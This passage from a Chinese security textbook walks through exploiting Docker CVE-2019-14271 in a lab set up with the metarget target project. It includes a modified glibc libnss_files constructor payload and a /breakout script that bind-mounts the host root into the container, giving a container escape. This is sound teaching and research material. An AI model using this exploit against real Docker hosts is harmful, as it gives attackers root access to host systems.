3.2.3 CVE-2019-14271:加载不受信任的动态链接库

在19.03.x及若干非正式版本的Docker中,docker cp命令依赖的docker-tar组件会加载容器内部的nsswitch动态链接库,但自身却并未被容器化,攻击者可通过劫持容器内的nsswitch动态链接库来实现对宿主机进程的代码注入,获得宿主机上root权限的代码执行能力,CVSS 3.x评分为9.8分。

动态链接库劫持本身是一个经典的计算机技术,在许多领域都得到过应用。CVE-2019-14271漏洞的核心问题在于高权限进程自身并未容器化,却加载了不可控的容器内部的动态链接库。一旦攻击者控制了容器,就可以通过修改容器内动态链接库来实现在宿主机上以root权限执行任意代码。

事实上,在用户执行docker cp后,Docker守护进程会启动一个docker-tar进程来完成这项复制任务。以“从容器内复制文件到宿主机上”为例,它会切换进程的根目录(执行chroot)到容器根目录,将需要复制的文件或目录打包,然后传递给Docker守护进程,Docker守护进程负责将内容解包到用户指定的宿主机目标路径。

chroot操作主要是为了避免符号链接导致的路径穿越问题,但新的问题出现了——存在漏洞版本的docker-tar会加载必要的动态链接库,主要是以“libnss_”开头的nsswitch动态链接库(libnss_*.so)。chroot切换根目录后,docker-tar将加载容器内部的动态链接库!

如何利用这个漏洞呢[1]?漏洞利用的主要思路如下:

1)找出docker-tar具体会加载哪些容器内的动态链接库。

2)下载对应动态链接库源码,为其增加一个__attribute__((constructor))属性的函数run_at_link(该属性意味着在动态链接库被进程加载时,run_at_link函数会首先执行),在run_at_link函数中放置我们希望docker-tar执行的攻击载荷(payload);编译生成动态链接库文件。

3)编写辅助脚本“/breakout”,将辅助脚本和步骤2生成的恶意动态链接库放入恶意容器,等待用户对容器执行docker cp命令,触发漏洞。

大家可以使用我们开源的metarget靶机项目,在Ubuntu服务器上一键部署漏洞环境,在参照项目主页安装metarget后,直接执行以下命令:


./metarget cnv install cve-2019-14271

即可安装好存在CVE-2019-14271漏洞的Docker。

1.第一步:确定目标

如何找出docker-tar启动后会加载的容器内动态链接库呢?有两种思路,最直接的思路就是分析Docker源码,抽丝剥茧,不过也比较费时间;另外一种思路是执行一次docker cp命令,观察在这个过程中容器内部哪些动态链接库被加载了。

我们采用第二种思路,Linux提供了inotify机制,用来监控文件系统变化。inotify-tools是一系列基于inotify机制开发而成的命令行工具,我们可以借助这些命令行工具(如后文会提到的inotifywait)来监控docker-tar对容器内动态链接库的使用情况。

在存在漏洞的Docker环境中,首先执行如下命令,运行一个容器:


docker run -itd --name=test ubuntu

然后,我们要拿到容器在宿主机上的绝对路径,才能对它进行监控。执行以下命令:


docker exec -it test cat /proc/mounts | grep docker

返回结果中包含类似下面这样的字符串:


workdir=/var/lib/docker/overlay2/642e9e7da29f8ffcbef815e968ff8325a76975039a1b
    0627564d381416fc7a71/work

那么,容器根目录在宿主机上的绝对路径即为:


/var/lib/docker/overlay2/642e9e7da29f8ffcbef815e968ff8325a76975039a1b0627564d
    381416fc7a71/merged

接着,执行如下命令,在另一个终端中使用inotifywait工具,在宿主机上监听容器文件系统中lib目录的事件:


apt install -y inotify-tools
inotifywait -mr /var/lib/docker/overlay2/642e9e7da29f8ffcbef815e968ff8325a769
    75039a1b0627564d381416fc7a71/merged/lib/

现在就可以执行docker cp了。例如,我们执行:


docker cp test:/etc/passwd ./

然后可以在之前的终端中看到inotifywait的输出,例如:


Setting up watches.  Beware: since -r was given, this may take a while!
Watches established.
/var/lib/docker/overlay2/642e9e7da29f8ffcbef815e968ff8325a76975039a1b0627564d
    381416fc7a71/merged/lib/x86_64-linux-gnu/ OPEN libnss_compat-2.27.so
/var/lib/docker/overlay2/642e9e7da29f8ffcbef815e968ff8325a76975039a1b0627564d
    381416fc7a71/merged/lib/x86_64-linux-gnu/ OPEN libnss_nis-2.27.so
/var/lib/docker/overlay2/642e9e7da29f8ffcbef815e968ff8325a76975039a1b0627564d
    381416fc7a71/merged/lib/x86_64-linux-gnu/ OPEN libnsl-2.27.so
/var/lib/docker/overlay2/642e9e7da29f8ffcbef815e968ff8325a76975039a1b0627564d
    381416fc7a71/merged/lib/x86_64-linux-gnu/ OPEN libnss_files.so.2

可以看到,在这次复制操作中,docker-tar加载了libnss_compat-2.27.so、libnss_nis-2.27.so、libnsl-2.27.so和libnss_files.so.2。后面,我们选择libnss_files.so.2为目标,构造一个恶意的动态链接库来替换它。

2.第二步:构建动态链接库

libnss_*.so均在Glibc中,我们首先下载Glibc库[2]并解压到本地目录,笔者这里为/root/gnu/glibc-2.27。然后在/root/gnu目录下新建一个glibc-build目录,作为构建目录。

我们首先需要注释掉glibc-2.27/Makeconfig文件中的一行警告设置,避免加入恶意payload后编译失败:


gccwarn-c = -Wstrict-prototypes -Wold-style-definition

接着,我们就可以在源码中添加恶意payload了——可以在glibc-2.27/nss/nss_files/目录下任意源码文件中添加payload。作为示例,笔者选择该目录下的files-service.c文件。我们在这里并不向payload中添加过多的操作,仅仅将其作为一个获取控制权的途径;把真正具有威胁的操作写入容器内/breakout脚本文件中,让动态链接库里的payload去执行/breakout脚本文件即可。

具体地,我们向glibc-2.27/nss/nss_files/files-service.c中添加的部分代码如下:


//容器内部原始libnss_files.so.2文件的备份位置
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
//恶意libnss_files.so.2的位置
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
//带有constructor属性的函数会在动态链接库被加载时自动执行
__attribute__ ((constructor)) void run_at_link(void) {
    char * argv_break[2];
    //判断当前是否是容器外的高权限进程(也就是docker-tar)
    //如果是容器内进程,则不做任何操作
    if (!is_priviliged())
        return;
    //攻击只需要执行一次即可
    //用备份的原始libnss_files.so.2文件替换恶意libnss_files.so.2文件
    //避免后续的docker cp操作持续加载恶意libnss_files.so.2文件
    rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
    //以docker-tar进程的身份创建新进程,执行容器内/breakout脚本
    if (!fork()) {
        //Child runs breakout
        argv_break[0] = strdup("/breakout");
        argv_break[1] = NULL;
        execve("/breakout", argv_break, NULL);
    }
    else
        wait(NULL); //Wait for child
     return;
}

恶意libnss_files.so.2文件被加载时,首先会判断当前加载进程是否为docker-tar进程,如果是,则以当前进程的身份执行/breakout脚本。由于docker-tar已经执行了chroot命令,/breakout路径指向的是容器内根目录下的脚本,但由于docker-tar并未做其他命名空间级别上的隔离,因此/breakout会以docker-tar自身的root权限在宿主机命名空间内执行。

下面就可以编译了,执行如下命令:


cd /root/gnu/glibc-build/
make

第一次编译Glibc需要一些时间,后面再次编译就会快很多。编译结束后,glibc-build/nss/libnss_files.so就是我们需要的恶意动态链接库文件。

3.第三步:实现逃逸

现在,我们已经有了恶意的动态链接库文件libnss_files.so。在存在漏洞的Docker环境中,如果用户执行了docker cp,后台的docker-tar进程在执行了chroot命令后一旦加载恶意文件libnss_files.so,那么容器内的/breakout脚本就会以docker-tar身份执行。

由于docker-tar已经切换了根目录,但还没有加入容器的命名空间,我们考虑在/breakout中执行挂载操作,由docker-tar将宿主机根目录挂载到容器内的/host_fs路径——这样一来,我们就实现了文件系统层面的容器逃逸。

在docker-tar进程上下文中,/breakout首先将procfs伪文件系统挂载到容器内,然后将PID为1的进程的根目录/proc/1/root绑定挂载到容器内部即可:


#!/bin/bash
# /breakout的内容
# 首先确保容器内/host_fs路径空闲可用
umount /host_fs && rm -rf /host_fs
mkdir /host_fs
# 挂载宿主机的procfs伪文件系统
mount -t proc none /proc
# 挂载宿主机根目录到/host_fs
cd /proc/1/root
mount --bind . /host_fs

首先执行如下命令,创建一个容器(模拟该容器被攻击者控制的场景):


docker run -itd --name=victim ubuntu

将breakout脚本放入victim容器根目录,接着将/lib/x86_64-linux-gnu下的libnss_files.so.2符号链接指向的库文件移动到容器根目录下并重命名为original_libnss_files.so.2。在不同容器环境中具体文件名可能不同,可以使用以下命令查看:


readlink /lib/x86_64-linux-gnu/libnss_files.so.2

笔者环境下为/lib/x86_64-linux-gnu/libnss_files-2.27.so。最后将前文构建好的恶意libnss_files.so重命名为libnss_files.so.2,放在容器内/lib/x86_64-linux-gnu目录下。

下面我们就来模拟用户执行docker cp操作。例如,用户想把容器内的/etc/passwd文件复制出来,执行如下命令:


docker cp victim:/etc/passwd ./

执行后,漏洞被成功触发,容器内部已经可以看到挂载的/host_fs,其中的/etc/hostname显示的即为宿主机的hostname,这个过程如图3-4所示。

图3-4 CVE-2019-14271漏洞利用截图

相对路径和符号链接引起的安全问题由来已久,云原生环境对它们而言无非是“新瓶装旧酒”。其中,符号链接带来的安全问题更多,感兴趣的读者还可以了解一下CVE-2014-4877——一个存在于wget中的符号链接相关漏洞。

另外,我们还可以把思维发散一下——Windows上有没有类似符号链接一样的东西呢?有的,那就是快捷方式。那么快捷方式是否存在漏洞呢?当然。著名的震网病毒(Stuxnet)就利用了一个存在于Windows快捷方式解析机制中的漏洞:CVE-2010-2568;再往后,Windows于2017年又被爆出一个与快捷方式有关的高危漏洞CVE-2017-8464,由于与CVE-2010-2568存在一定相似性,业界又称其为“震网三代”。

回过头来看,相信读者能够认识到,很多漏洞的原理是类似的,即便云原生是全新的体系,很多云原生的漏洞却似曾相识。虽然云原生的发展如火如荼,但云原生安全建设任重道远。

[1] https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-withcve-2019-14271/。随书代码仓库路径:https://github.com/brant-ruan/cloud-native-security-book/tree/main/code/0302- 开发侧攻击/03-CVE-2019-14271。

[2] 直接从官方下载:https://ftp.gnu.org/gnu/glibc/glibc-2.27.tar.bz2。